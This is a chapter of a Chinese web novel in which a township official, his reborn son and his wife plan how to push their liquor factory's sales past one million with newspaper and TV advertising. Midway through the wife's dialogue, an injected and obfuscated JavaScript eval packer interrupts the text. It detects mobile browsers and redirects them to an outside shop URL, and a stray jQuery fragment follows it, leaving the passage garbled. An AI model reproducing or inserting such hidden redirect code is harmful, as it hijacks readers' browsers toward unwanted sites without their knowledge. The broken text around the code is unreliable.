推开家门那一刻，叶舟身上还裹着一层散不去的烟草味。
镇政府办公室闷了一下午，满屋子浓烟，呛得人脑袋发沉。
他随手把公文包往桌上一丢，整个人瘫坐在木沙发上，身子软得一点力气都没剩。脸上神情古怪，说不上是喜，也说不上是愁。像是捡了天大的便宜，又像是稀里糊涂揽了块烫手的烙铁。
屋里安安静静的。
叶子安正蹲在墙角小板凳上，低头翻着四年级的语文课本，看得认真。耳朵却灵得很，一听动静不对，抬眼扫了自家老爹一眼。就这一眼，他心里门儿清。
合上书页，叶子安老气横秋地开口，语气带着点打趣：“老爸，你这又是咋了？镇长下午给你灌啥鸡汤了？看你这神情，跟喝了上头的假酒一样，懵懵的。”
叶舟闻言，嘿嘿干笑两声，身子往儿子那边凑了凑，压低声音，神神秘秘的：“儿子，这回你老爸说不定真能往上走一步。梁镇长刚跟我谈的话，给我压了个任务。只要咱们酒厂下个月销量能冲到一百万，下半年我的岗位，还能再往上挪一挪！”
“一百万？！”叶子安声调陡然拔高，声音清亮，直接穿透小院。他瞪大眼盯着叶舟，满脸离谱，简直不敢相信自己的耳朵：“爸，你清醒点行不行？是你疯了，还是镇长疯了？五月份五十七万，那是新品第一波热度！你居然敢应一百万？直接翻了快一倍！”
叶舟连忙抬手摆手，急急忙忙示意他小声点：“小点声小点声，别嚷嚷。”
他挠了挠脸，把下午在镇长办公室的情形絮絮叨叨慢慢说来：“你是不知道，镇里现在太难了。金融危机的风，看着远，实则已经刮到咱们镇上了。最近倒了两家小厂子，老板跑路，工人闲置，一堆烂摊子没人收拾。县里没钱，镇里账上更是空空荡荡，一分余钱都挤不出来。全镇上下，现在就咱们酒厂能赚钱、能造血。梁镇长也是实在没辙，把我这酒厂当成救命稻草了。”
叶子安听完，无奈揉着太阳穴，心里快速算账，越算越头大：“救命稻草也不能硬薅啊。五月份五十七万三，靠的是新酒噱头、官场背书、全城造势三样叠加，一次性把县城的热度吃满了。新鲜感一过，热度必然回落。我实话跟你说，保守估计，六月份能稳住二十万销量，就已经算超常发挥。你张嘴就接一百万的军令状，剩下几十万缺口，你去哪补？上街拦人买酒啊？”
院子角落，趴着打盹的大黄狗，像是听懂了人话。慢悠悠抬了抬眼皮，扫了叶舟一眼，敷衍地“汪汪”叫了两声，尾巴都懒得摇，又耷拉着头趴回地面。那眼神直白得很——这事，纯属瞎折腾，不靠谱。
被儿子一顿实打实泼冷水，叶舟顿时老脸发烫，有点挂不住。
他确实是热血上头了。下午办公室里，沈明远满眼期许，梁镇长又句句掏心窝子，夸他是全镇最能扛事的年轻人、是镇里的顶梁柱。他一个从基层摸爬滚打上来的普通干部，哪里扛得住领导这么抬举？脑子一热，当场就把军令状应了下来。这会儿冷静下来，心里只剩发慌。
他厚着脸皮凑到儿子跟前，姿态放得极低，近乎耍赖：“好大儿，老爸知道你脑子灵。军令状已经立出去了，覆水难收。真要是完不成，我在镇里脸上无光不说，往后前程基本就卡在这儿了。你帮我琢磨琢磨，爷俩一起想想办法，总能找出路子的。”说着，他顺手递过去一个刚削好的苹果，讨好意味十足。
叶子安接过苹果，捏在手里没啃，抬眼看向自家老爸：“行吧，我帮你捋捋。不过先说清楚，我只能给你出思路、提建议。具体管厂、跑业务、对接渠道，还是得你亲自来。我前世做管理、搞博弈还行，一线跑销售，真不如厂里那帮老销售能吃苦。”
叶舟连连点头，听得格外认真，赶忙拿起纸笔，准备记录。
“我是这么打算的，”叶舟一边写一边碎碎念叨，“县城市场已经铺满了，再往下做，就是内卷。本地几家酒水代理商，盘根错节，关系复杂。咱们继续压价、抢市场，迟早得罪人，闹到县里去，反倒给领导添乱。所以我想着，往外扩。振舟市周边，南杨、洛洋、许州、平川、周城，能铺的周边县市，我全部铺一遍。只要渠道铺开，销量肯定能往上拉。”
叶子安微微点头，认可这个思路：“路子没问题，往外走，避开本地内卷，是唯一增量的办法。”
就在父子俩认真琢磨的时候，灶台边摘菜的宁蕙心，忽然轻声插了一句嘴：“叶舟，我多句嘴问问。你县城这套大喇叭吆喝、满街挂横幅的法子，到了外地，还打算接着用？”
爷俩同时转头看她。
宁蕙心把手里青菜放进塑料盆，拍了拍手上的水渍，语气朴实通透：“你在咱们县城能这么闹，是因为张书记公开给你背书，镇里、县里都睁一只眼闭一只眼。城管不拦，工商不查，没人找你麻烦。换个外地城市试试？当地有本地老牌酒厂，人家根基稳、人脉硬。你跑去人家地盘上，大喇叭喊着对标名酒、满街挂横幅抢生意，不用官方出手，私下都有人找你麻烦。真闹起来，挨打、扣货、封摊，都是轻的。”
简简单单几句话，瞬间点透关键。
叶子安心里一亮，果然是旁观者清。县城的爆火，一半靠营销，一半靠官方倾斜的便利，是天时地利人和凑出来的偶然。换到陌生市场，没有任何政策兜底，这套野路子根本行不通。
路子受限，瞬间堵死了叶舟刚想好的出路。他一脸愁容，转头眼巴巴看着媳妇：“那咋办？你也帮我出出主意呗，现在家里就你最清醒。”
宁蕙心白了他一眼，哭笑不得：“你啊，遇事只会蛮干。既然线下吆喝不管用，你就不会换法子？报纸、地方电视台，天天打广告。堂堂正正做宣传，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645234|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不比你雇人满街瞎吆喝体面、管用？”
这句话落下，屋里瞬间安静两秒。
叶子安眼底一亮，心里直呼通透。他太清楚这个年代的红利了。九十年代末，正是传统媒体的黄金时代。没有网络分流，老百姓获取信息，全靠报纸、电视。后世无数国民品牌，孔府家酒、爱多VCD，全是靠砸电视广告、报纸宣传硬生生砸出来的名气。眼下热度刚好、产品过硬，缺的就是一波正规、大范围的品牌曝光。
“对啊！我怎么彻底忘了这茬！”叶舟猛地一拍大腿，力道太足，疼得他当场龇牙咧嘴吸凉气，却半点顾不上，“还是我媳妇聪明！一语就点醒我了！”要不是儿子在旁边坐着，他当场就得凑上去好好夸一顿自家老婆。
叶子安啃了口苹果，慢条斯理补充，思路格外清晰：“广告能打，但绝对不能乱打。第一，报纸选本地发行量最大的官报，不用大版面，省钱，主打高频次露出，稳、正规、不惹争议。第二，电视广告别做长篇叙事的，费钱没人看。就做短平快，口号简单好记，一遍就能刻进脑子里。最重要一点，绝对不能再搞碰瓷名酒的擦边话术。外地无靠山，容易被人抓把柄、卡政策，风险太大。”
叶舟听得目不转睛，手里笔飞快记着，生怕漏一个字，随即追问：“那口号重新想一个？原先那句太土，只适合咱们县城，往外省、外市推，撑不起场面。”
叶子安稍一沉吟，结合中原地域特色、适配全域铺货，随口给出一句稳稳贴合九十年代广告质感的标语：“你就用这句：明溪酿，中原待客好酒。不局限一个县、一个市，格局打开了。主打本地风土、实在靠谱、待客有面，不管是乡镇宴席、走亲访友、公务招待都能用，稳妥大气，挑不出毛病。”
叶舟反复默念两遍，越念越顺口，眼里越亮：“这句好！真的好！够大气，不张扬，还能撑得起咱们往外扩张的名头！简单、接地气、不张扬、不招黑。老百姓听得懂、记得住，完全合规，稳赚不赔。”
“还有。”叶子安继续叮嘱，“明天你先去镇里找领导对接。既然镇长要百万业绩，他就不能只压任务、不帮衬。你光明正大把开拓周边县市市场，申请成镇里重点扶持项目。有镇里名义背书，你出去对接渠道、谈合作，底气都足一大截。”
说完，叶子安啃完最后一口苹果，把果核丢进垃圾桶，起身就要回房：“大体思路就这些，细节你们两口子慢慢磨。我先看书去了。”
他脚步轻快开溜，再待下去属实尴尬。因为他明显看见，解决完难题，自家老爸看老妈的眼神，温柔得不对劲。成年人那点温情氛围，小孩子没必要杵在这儿当电灯泡。
看着儿子潇洒离开的背影，叶舟心里沉甸甸的石头彻底落地。难题解开，前路明朗。他缓缓转头，正好对上宁蕙心一双清亮温柔的眼眸，心里满是踏实和庆幸。